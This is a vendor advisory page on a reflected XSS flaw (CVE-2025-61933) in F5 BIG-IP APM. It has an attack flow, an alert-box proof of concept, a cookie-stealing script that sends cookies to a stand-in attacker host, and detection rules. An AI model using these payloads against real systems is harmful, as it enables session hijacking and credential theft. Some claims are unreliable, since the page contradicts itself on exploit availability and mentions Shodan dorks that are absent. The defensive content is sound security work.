CVE-2025-61933
Executive Summary
CVE-2025-61933 is a reflected cross-site scripting (XSS) vulnerability in an undisclosed page of F5 BIG-IP Access Policy Manager (APM). An attacker can inject arbitrary JavaScript into the context of a logged-out user, potentially leading to session hijacking, credential theft, or redirection to malicious sites. The CVSS score is 6.1 (Medium), and no patch or exploit code is publicly available. The vulnerability affects software versions that have not reached End of Technical Support (EoTS), but specific version ranges are not disclosed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary F5 appliance vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the network-based vector.
Deep Dive & Mechanics
The vulnerability resides in an undisclosed page of the BIG-IP APM module. When a logged-out user accesses a specially crafted URL, the application fails to properly sanitize user-supplied input before reflecting it in the HTTP response. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL containing XSS payload in a parameter (e.g.,
?param=<script>alert(1)</script>). - Attacker lures a logged-out user (e.g., via phishing email) to click the link.
- The BIG-IP APM page reflects the payload without sanitization.
- The victim's browser executes the injected script in the context of the BIG-IP domain.
- The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the user.
Root Cause: Lack of output encoding or input validation on the affected page.
Vulnerable vs. Patched Code
No patch is available. The vulnerable code is not publicly disclosed. In general, the fix would involve:
- Vulnerable: Direct reflection of user input without encoding.
echo $_GET['param']; - Patched: Proper HTML entity encoding.
echo htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a BIG-IP APM instance (version not EoTS).
- Ability to craft a malicious URL.
Proof-of-Concept (No public exploit available):
<!-- Crafted URL -->
https://target.bigip.example.com/vulnerable_page?param=<script>alert('XSS')</script>
Advanced Payload (Cookie theft):
<script>
fetch('https://attacker.example.com/steal?cookie=' + document.cookie);
</script>
Lab Setup:
- Deploy a vulnerable BIG-IP APM (e.g., version 16.1.x).
- Use a local web server to host a phishing page.
- Send the crafted link to a test user (simulated browser).
Blue Team
Detection:
- Monitor for unusual URL parameters containing
<script>,onerror,javascript:. - Use WAF rules to block reflected XSS patterns.
- Enable logging on BIG-IP APM pages.
Hunting:
- Search for HTTP requests with
%3Cscript%3Eor%3Cimg%20onerror%3D. - Correlate with user agent anomalies.
Indicators of Compromise (IOCs)
- URL Patterns:
*/vulnerable_page?param=*<script>**/vulnerable_page?param=*%3Cscript%3E*
- Network Traffic:
- Outbound connections to attacker-controlled domains from BIG-IP.
- HTTP responses containing unescaped
<script>tags.
- Logs:
- BIG-IP access logs showing
paramparameter with HTML tags. - WAF alerts for XSS attempts.
- BIG-IP access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_61933_XSS {
meta:
description = "Detects reflected XSS attempts against CVE-2025-61933"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-61933"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against BIG-IP APM
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in URL parameters targeting BIG-IP APM
author: Valters IT
logsource:
category: webserver
product: f5_bigip
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in documentation
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-61933 Reflected XSS Attempt";
flow:to_server,established;
content:"<script"; http_uri;
nocase;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the BIG-IP APM from untrusted networks if possible.
- Apply WAF rules to block reflected XSS patterns (e.g., ModSecurity CRS rule 941100).
- Monitor logs for exploitation attempts.
Long-term Fix:
- No patch available. Contact F5 support for a hotfix or upgrade to a non-vulnerable version (if released).
- Implement input validation and output encoding on all APM pages.
- Consider using Content Security Policy (CSP) headers to mitigate XSS impact.
Workarounds:
- Disable the vulnerable page if it is not critical.
- Use a reverse proxy to sanitize requests.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.